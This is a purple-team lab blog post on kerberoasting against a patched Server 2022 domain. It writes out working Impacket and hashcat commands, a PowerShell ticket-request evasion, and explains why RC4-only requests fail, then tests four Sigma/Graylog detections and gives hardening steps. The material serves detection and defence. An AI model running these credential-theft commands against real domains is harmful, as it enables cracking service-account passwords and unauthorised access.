NOOB2ROOT

Blog 4 Oct 2026 — 18 min

PurpleForest, Part 2: Kerberoasting a Domain That Fights Back

Every kerberoasting tutorial fails on a patched Server 2022 DC. Here is why, what actually works, and which of four detections survives the evasion.

purple-team active-directory kerberoasting detection-engineering sigma graylog kerberos hashcat impacket

PurpleForest: an Active Directory purple-team lab. Kali attacks a Windows domain, Vector ships Security, Sysmon and PowerShell logs to Graylog, and Sigma rules fire alerts

Part 1 built the lab: a Windows domain, Sysmon and Vector telemetry, a Graylog SIEM and a Kali box that can reach all of it. This post runs the first exercise through it.

The plan was ordinary. Kerberoasting is the most-written-about Active Directory attack there is, the lab had a toggle for it already, and I expected a short post: run GetUserSPNs, crack a hash, write a Sigma rule, done.

What actually happened is that the attack failed fifty-two times in a row, and working out why turned into the most useful thing in this series so far. Every kerberoasting walkthrough I could find was written before November 2022, and none of them work as written against a current domain controller.

So this post is the attack, the wall it hits, the two ways past it, and then the part that matters: four detections, measured against a real baseline, and an evasion that blinds three of them.

⚠️ Lab only. Passwords here are deliberately weak and published in a public repo, Defender is off, and the domain is misconfigured on purpose. Never bridge this lab to a real network, and never reuse these credentials.

Everything is in the repo: github.com/zebracherry/PurpleForest. The detections are in detections/kerberoasting/.


#Before the attack: Kali had no internet

A detour, because it cost me an hour and it will cost you one too.

Kali came up unable to resolve anything:

$ ping -c2 google.com
ping: google.com: Temporary failure in name resolution

It looked like a DNS problem. It was not. Two things were true at once: the lab address 10.10.10.50 was assigned to a NIC, and there was no default route at all. /etc/resolv.conf named a nameserver nothing could reach.

The cause was interface naming. Compare the MACs the guest sees against the ones in the .vmx:

Guest NIC MAC Actually attached to
eth0 …fe:c6 ethernet1 → vmnet5, the lab
eth1 …fe:bc ethernet0 → NAT, the internet

They are swapped. Kali's NAT adapter is an e1000, the lab adapter the installer attaches is a vmxnet3, and which one gets eth0 is decided by driver probe order, not by the order they appear in the .vmx. Part 1's bootstrap created the lab's NetworkManager profile with ifname eth1, which was correct the day it ran. One reboot flipped the names, and the profile then pinned the lab's static address onto the NAT adapter.

That single mistake costs you the internet route and the lab at the same time, while presenting only as a DNS failure. My lab had been unreachable too — dc01:5985, dc01:88, dc01:389 and siem01:9000 all failed, and I had not noticed because I had not tried.

The fix is to bind the profile to a MAC address, never to an interface name:

sudo nmcli con modify purpleforest-lab \
  connection.interface-name "" \
  802-3-ethernet.mac-address "$(cat /sys/class/net/eth0/address)" \
  ipv4.never-default yes

bootstrap-kali.sh now does this for both adapters and repairs the broken state in place, so a git pull and a re-run is all you need. It survives a cold boot, which the name-bound version did not.

Why ipv4.never-default yes matters: it is what keeps the isolated lab network out of your default route. Never give the lab profile a gateway.


#Step 1: Scenario

Kerberoasting is T1558.003, Credential Access. It works because of one design decision in Kerberos: any authenticated domain user can request a service ticket for any SPN, and that ticket is encrypted with a key derived from the service account's password. No special rights, no touching the service, no interaction with anything but the domain controller. Take the ticket away and crack it offline at your leisure.

So the attacker here starts where a real one usually does: holding one ordinary domain credential and nothing else. Phished, sprayed, found in a script — it does not matter. The lab calls it CORP\jdoe, a plain member of Domain Users.

That account is new in this part. BadBlood gives the domain 2,491 users, but they all have random passwords, so none of them can play the part of a foothold. jdoe is created unconditionally now, because almost every exercise in the series begins after initial access:

What Username Password
Attacker foothold CORP\jdoe Lab0ratory!

#Step 2: Set up the targets

cd ~/PurpleForest/ansible
ansible-playbook site.yml --limit dc01 -e misconfig_kerberoast=true

That creates two service accounts, and the difference between them is the whole exercise:

Account Password In rockyou? msDS-SupportedEncryptionTypes
svc_mssql Summer2024 no 0x18 — AES128 + AES256
svc_backup_sql Password123 yes 0x4 — RC4 only

Both get an SPN. svc_backup_sql is the legacy case: an account pinned to RC4 because some ancient application needed it, which is a configuration you will find in real estates more often than you would like. svc_mssql is the modern default.

Hold onto that right-hand column. It turns out to decide everything.


#Step 3: The attack that every tutorial tells you to run

impacket-GetUserSPNs corp.lab/jdoe:'Lab0ratory!' -dc-ip 10.10.10.10

The discovery half works perfectly, and it is worth noticing how cheap it is. This is pure LDAP — no Kerberos traffic, no tickets, nothing that looks like an attack. Any authenticated user can ask the directory which accounts hold SPNs, and the directory answers:

impacket-GetUserSPNs listing 52 SPN accounts on corp.lab, including svc_mssql and svc_backup_sql among BadBlood's noise

Fifty-two accounts. Fifty of them are BadBlood's, which matters more than it sounds: a lab with two service accounts in it teaches you nothing about detection, because every rule you write looks perfect against a domain with no noise in it.

Now request the tickets, which is the attack proper:

impacket-GetUserSPNs corp.lab/jdoe:'Lab0ratory!' -dc-ip 10.10.10.10 \
  -request -outputfile roast.hashes

And all but one of them fails:

[-] Principal: corp.lab\WILBURN_PATTERSON - Kerberos SessionError:
    KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)
[-] Principal: corp.lab\JOSEFA_CHURCH - Kerberos SessionError:
    KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)
...
[-] Principal: corp.lab\svc_mssql - Kerberos SessionError:
    KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)

Fifty-one of fifty-two principals returning KDC_ERR_ETYPE_NOSUPP, with roast.hashes holding a single 2,042-byte hash

Fifty-one refusals out of fifty-two. roast.hashes is 2,042 bytes and holds exactly one hash: svc_backup_sql, the account step 2 pinned to RC4 only. Every account holding an AES key refused. The single legacy one did not.

That one attribute is the entire difference, and working out why is the rest of this post.

My first instinct was that I had broken the lab. I had not. There is no Kerberos GPO, no SupportedEncryptionTypes policy key, and no DefaultDomainSupportedEncTypes registry value. On all fifty BadBlood accounts that refused, msDS-SupportedEncryptionTypes is simply unset — the default. This is a stock patched Server 2022 domain controller behaving exactly as Microsoft intends.


#Step 4: Why it fails

Two things combine.

First, Impacket asks for RC4 on purpose. From its own source, in GetUserSPNs.py:

# In order to maximize the probability of getting session tickets with RC4 etype, we will convert the
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
# cleartext password.

It converts your password to an NT hash so the TGT session key is RC4, which makes every subsequent service ticket request ask for RC4. That is a deliberate choice, and a good one in 2018, because an RC4 ticket is vastly cheaper to crack. In 2026 it is what breaks the tool.

Second, a current KDC will not encrypt a service ticket with RC4 for an account that holds an AES key. It uses the strongest key the service account has, whatever the client asked for.

I tested every case against the DC rather than guessing, and the deciding factor is one attribute:

msDS-SupportedEncryptionTypes Result
unset (the default) KDC_ERR_ETYPE_NOSUPP to an RC4-only client. No ticket, no hash.
0x18 — AES128+AES256 $krb5tgs$18$, but only once the TGT itself is AES-negotiated
0x1C — RC4+AES Ticket issued, still AES256. The KDC prefers the strongest key.
0x4 — RC4 only $krb5tgs$23$. The classic attack, and the only way to get it.

That 0x1C row is the trap. "Just turn RC4 back on" is the obvious thing to try, and it changes nothing, because the account still holds an AES key and the KDC still prefers it. You have to take AES away entirely before the old attack comes back.

This is also why the telemetry in step 6 is more interesting than it has any right to be: on a patched domain, most kerberoasting attempts you will ever see in logs did not work.


#Step 5: Two attacks that do work

#Path A — the legacy account, the classic attack

svc_backup_sql is pinned to RC4 only, so there is no AES key for the KDC to prefer. The sweep in step 3 already walked off with this one; asking for it on its own just makes the result readable:

impacket-GetUserSPNs corp.lab/jdoe:'Lab0ratory!' -dc-ip 10.10.10.10 \
  -request-user svc_backup_sql -outputfile rc4.hashes
$krb5tgs$23$*svc_backup_sql$CORP.LAB$corp.lab/svc_backup_sql*$7771f1b5...

$23$ is RC4-HMAC. hashcat mode 13100, and Password123 is in rockyou:

hashcat -m 13100 -a 0 rc4.hashes /usr/share/wordlists/rockyou.txt --potfile-disable

hashcat cracking the RC4 TGS-REP at 689.8 kH/s, recovering Password123 instantly

Cracked instantly at 689,800 H/s.

#Path B — the modern account, with an AES ticket

svc_mssql is AES-only, so Impacket's default gets nowhere. The fix is in the tool's own logic: getTGT() returns a cached TGT if one exists, so get the ticket-granting ticket with the cleartext password — which negotiates AES — and roast from that cache:

impacket-getTGT corp.lab/jdoe:'Lab0ratory!' -dc-ip 10.10.10.10
export KRB5CCNAME=$PWD/jdoe.ccache
impacket-GetUserSPNs -k -no-pass corp.lab/jdoe -dc-ip 10.10.10.10 \
  -request-user svc_mssql -outputfile aes.hashes
$krb5tgs$18$svc_mssql$CORP.LAB$*corp.lab/svc_mssql*$72d039ab...

$18$ is AES256-CTS-HMAC-SHA1-96. hashcat mode 19700.

Summer2024 is not in rockyou, so a plain wordlist run misses it — which is worth doing, because it is the moment you reach for something better. Service account passwords follow patterns, so target the pattern:

printf 'Summer\nWinter\nSpring\nAutumn\nPassword\nWelcome\nCompany\n' > base.txt
hashcat -m 19700 -a 6 aes.hashes base.txt '?d?d?d?d' --potfile-disable

hashcat cracking the AES256 TGS-REP at 2,005 H/s via a hybrid attack, recovering Summer2024 in 21 seconds

Cracked in 21 seconds, 36,421 candidates in, at 2,005 H/s.

#What AES actually buys you

etype hashcat mode speed result
svc_backup_sql 23 (RC4) 13100 689,800 H/s instant, plain rockyou
svc_mssql 18 (AES256) 19700 2,005 H/s 21s, hybrid attack

Same CPU, same machine. AES costs the attacker about 344× — and both of these still fell in under a minute.

That is the honest conclusion, and it cuts both ways. Enforcing AES is absolutely worth doing; it is a two-and-a-half-order-of-magnitude tax on the attacker. It is also not a fix. A weak password is a weak password, and 344× of nothing is still nothing. The real answer is length, or a gMSA where the password is 240 bytes and nobody chose it.


#Step 6: Telemetry

#The pipeline needed fixing first

Before any of this was queryable, I hit a problem Part 1 never surfaced because Part 1 never asked a real question of the data.

Windows puts everything a detection needs — the service name, the encryption type, the target account — inside the event's EventData section. Vector hands that over as one nested object, and Graylog's GELF input has no nested fields, so it collapsed the whole thing into a single JSON string:

"event_data": "{\"ServiceName\":\"svc_mssql\",\"TicketEncryptionType\":\"0x12\", ...}"

You cannot query that. TicketEncryptionType:0x17 matches nothing, and substring-matching the blob is both slow and wrong, because it matches the value in any field.

The fix is a few lines in Vector's enrich transform, flattening EventData to real top-level fields:

event_fields = {}
if is_object(.event_data) {
  event_fields = object!(.event_data)
}
if length(event_fields) > 0 {
  . = merge(event_fields, .)
  del(.event_data)
}

The keys keep Microsoft's own names — ServiceName, TicketEncryptionType, TargetUserName — which is also what Sigma rules are written against, so a rule maps to a Graylog field one to one. Existing fields win on a collision, so it cannot clobber event_id or the GELF keys.

Events already in the index are not reparsed. Only events received after the change have these fields, which is why the first 23 events in my seven-day window have none.

#What the failed attack left behind

event_id:4769 AND Status:"0xe"

104 events. The failure is richer than a success would have been:

Field Value Meaning
Status 0xe KDC_ERR_ETYPE_NOSUPP
TicketEncryptionType 0xffffffff no ticket issued
ServiceSid S-1-0-0 null SID, nothing granted
TicketOptions 0x40810010 Windows natively sends 0x40810000
IpAddress ::ffff:10.10.10.50 Kali

Graylog showing 104 4769 events with Status 0xe, TicketEncryptionType 0xffffffff and TicketOptions 0x40810010, all from 10.10.10.50

Two runs, 52 refusals each, peak 52 events in a single second — 52 rather than 51, because I swept the domain before I got round to pinning svc_backup_sql to RC4, so at that point nothing on the domain would hand out an RC4 ticket at all. Follow this post in order and you get 51 and one hash, which is the more useful result anyway. For contrast, this whole domain produced 159 4769 events in seven days — and 134 of them were mine. The genuine Kerberos traffic of a 2,491-user domain over a week was about 25 events, which tells you how little this lab resembles a real estate, and why the false-positive numbers below are worth so little.

#The successful ones

event_id:4769 AND ServiceName:svc_backup_sql
ServiceName Status TicketEncryptionType ServiceSupportedEncryptionTypes
svc_backup_sql 0x0 0x17 0x4 (RC4)
svc_backup_sql 0x0 0x12 0x1C (RC4, AES128, AES256)

Those two rows are the 0x1C trap in telemetry form. Same account, same attacker, same tool — the only difference is the attribute, and the KDC handed over AES the moment an AES key existed.

#Excluding computer accounts

Every machine in the domain requests service tickets constantly, and those SPNs resolve to accounts ending in $. The obvious exclusion does not work:

NOT ServiceName:*$        <-- rejected; Graylog disallows a leading wildcard

Use a regex term instead. Every query below depends on it:

NOT ServiceName:/.*\$/

#Step 7: Detection

Four rules, because no single one survives the exercise. All of them are in detections/kerberoasting/sigma.yml.

#Rule 1 — an RC4 service ticket was issued

event_id:4769 AND TicketEncryptionType:"0x17" AND Status:"0x0"
  AND NOT ServiceName:/.*\$/

1 event in seven days, and it was mine. Every legitimate request in the window was 0x12.

detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
    Status: '0x0'
  filter_computer_account:
    ServiceName|endswith: '$'
  condition: selection and not 1 of filter_*
level: high

High precision, almost no recall. It cannot see an AES roast, which is what a default modern KDC hands out. Do not ship it alone.

#Rule 2 and 3 — refusals, and bursts of them

event_id:4769 AND Status:"0xe"

One refusal is noise. Dozens in a second is a tool. As a Graylog Event Definition:

Field Value
Condition type Aggregation
Search query event_id:4769 AND Status:"0xe"
Search within 1 minute
Group by TargetUserName
Condition count() > 20

This is the rule that catches Impacket's default — the attack that fails. On a patched domain, that is most of them.

#Rule 4 — one account, many distinct SPNs

The important one.

Field Value
Search query event_id:4769 AND NOT ServiceName:/.*\$/
Search within 5 minutes
Group by TargetUserName
Aggregation card(ServiceName)
Condition card(ServiceName) > 15

Note what is missing from that query: any filter on Status. My first version had Status:"0x0" in it, on the reasoning that a detection should care about tickets that were actually issued. That is exactly backwards here. The Impacket sweep issued no tickets — all 104 requests were refused — so a success-only rule scores it at two distinct SPNs and never fires on the loudest thing that happened all week. Counting every request, refused or not, is what makes this rule see both the sweep and the evasion in step 8.

Over the week, jdoe requested tickets for 74 distinct SPNs. The only other principal on the domain requested 1. That separation is the detection, and it has nothing to do with encryption types or tooling.

One practical snag when you build this: TargetUserName on a 4769 carries the UPN form, so the rows group as jdoe@CORP.LAB, not jdoe. Group by it anyway — just do not expect the bare username when you go to write an allowlist.

Graylog aggregation showing jdoe@CORP.LAB at 74 distinct ServiceName values against DC01$@CORP.LAB at 1

#Honest false positives

This lab produced 159 4769 events in a week, 134 of which I generated myself. A real domain produces millions a day, and 4769 is usually near the top of the volume charts. A zero false-positive rate here means nothing about your environment.

Rule Lab FPs What will really generate them
1 — RC4 issued 0 Legacy apps pinned to RC4. Common, and constant rather than bursty. Allowlist by ServiceName, never by requesting account.
2/3 — refusals 0 Broken clients and old appliances. They hammer one or two SPNs; an attacker sweeps many.
4 — SPN volume 0 This is the one that will hurt. Vulnerability scanners, asset inventory, backup and monitoring agents all authenticate broadly and legitimately.

Set rule 4's threshold above your noisiest legitimate account, not above the lab's. Run the query over a week grouped by TargetUserName first.

#The fingerprint, and why it is not a rule

TicketOptions: 0x40810010 appeared on 108 events, every one of them from Kali. That looks like a perfect discriminator.

It is not, for two reasons. A legitimate request from the DC itself carried 0x60810010, which also has the 0x10 bit set — so the bit is not attacker-only, and only the exact value happened to be clean across a quiet seven-day window. More damningly, the native value 0x40810000 ended up on 26 events, and 22 of those were an attack too — the evasion in step 8, run from a domain-joined host. The fingerprint is absent from the attack you would most want to catch.

Use it to raise confidence on an alert another rule already raised, and to pivot during triage. Never on its own.


#Step 8: Evasion

This is the step most write-ups skip, and it is the one that tells you whether your rules are worth anything.

All three rules so far key on something incidental: an encryption type, a failure code, a tool artefact. So let us remove all three. From a domain-joined workstation, as jdoe, using nothing but built-in Windows APIs — no Impacket, no Rubeus, nothing dropped to disk:

# discovery over LDAP, no RSAT needed
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.Filter = '(&(objectCategory=user)(servicePrincipalName=*))'
$targets = $searcher.FindAll()

# ticket requests built by Windows itself
Add-Type -AssemblyName System.IdentityModel
foreach ($spn in $spns) {
  New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
    -ArgumentList $spn
}

Because Windows constructs the TGS-REQ, the telemetry is native. Measured side by side:

Impacket sweep On-host PowerShell
Events 104 refusals + 4 tickets 22 tickets, 0 refusals
Status 0xe 0x0
TicketEncryptionType 0xffffffff / 0x17 0x12 (AES256)
TicketOptions 0x40810010 0x40810000 — native
Source Kali, 10.10.10.50 domain-joined ws01, 10.10.10.20
Rule 1 (RC4) fires 0 matches
Rules 2+3 (refusals) fires 0 matches
Rule 4 (SPN volume) 54 SPNs, fires 20 SPNs, fires

Three of the four rules go blind. By encryption type, ticket options and source host, that second run is indistinguishable from a user opening file shares.

And a correction I had to make to my own notes while testing this. It is tempting to read the NOSUPP wall as "a patched domain cannot be kerberoasted". It cannot be kerberoasted by Impacket's default, which is not the same claim. Those 52 accounts have msDS-SupportedEncryptionTypes unset and refused every RC4 request — then issued AES tickets without complaint to a client that asked properly. Twenty of them, in one run, from the workstation.

#What the evasion costs

This is the part that makes it a trade rather than a win. The PowerShell method leaves the ticket in the LSA cache and hands you nothing to crack. Getting the bytes out needs Rubeus or Mimikatz reading from lsass.exe — which is a far louder event than the one you just avoided, and Sysmon Event 10 ProcessAccess on LSASS is the single highest-value detection in this whole series.

The evasion does not remove the detection surface. It moves it somewhere better lit.

#What survives

Rule 4, and only rule 4. The behaviour of the technique is "one principal asks about an unusual number of services in a short time", and no choice of encryption type or tooling changes that. Only genuine restraint does — roasting two or three well-chosen accounts instead of sweeping the domain, which is exactly what -request-user does.

Which is the lesson: the boring behavioural threshold outlived all three clever rules. It is also the one that takes real work to tune, because it is the one with real false positives. That is not a coincidence.


#Step 9: Fixing it

In rough order of how much they buy you:

  1. gMSAs wherever possible. A 240-byte managed password is not crackable in any meaningful sense, and nobody has to remember it.
  2. Length on everything else. 25+ characters on service accounts defeats the attack outright rather than slowing it down.
  3. Remove stale SPNs. BadBlood gave this domain 52; real domains accumulate them the same way. Every one is an offer.
  4. Drop RC4. msDS-SupportedEncryptionTypes to 0x18 on service accounts, then remove RC4 domain-wide once nothing breaks. Worth 344×.
  5. Audit who can enumerate SPNs. Any authenticated user can, by default. That is what makes step 3 of this attack free.

Note the order. The encryption type is fourth, under three things that are about the password itself — because AES bought 344× and still lost in 21 seconds.

#Step 10: Cleanup

cd D:\PurpleForest
.\lab.ps1 restore

Back to the baseline, ready for the next one.


#What I took away from this

I expected to write a post about kerberoasting. I ended up writing one about how quickly a well-documented technique goes stale, and how much of what is online is a 2018 snapshot presented as current fact.

The lab earned its keep twice over. It caught the ETYPE_NOSUPP wall, which I would have blamed on my own misconfiguration if I had not been able to query the DC and read the telemetry side by side. And it caught my own over-claim afterwards — I had written "a patched domain cannot be kerberoasted" in my notes, and the evasion test proved me wrong within the hour.

That is the whole argument for building the thing rather than reading about it.

If you build this and hit something that is not here, open an issue on the repo.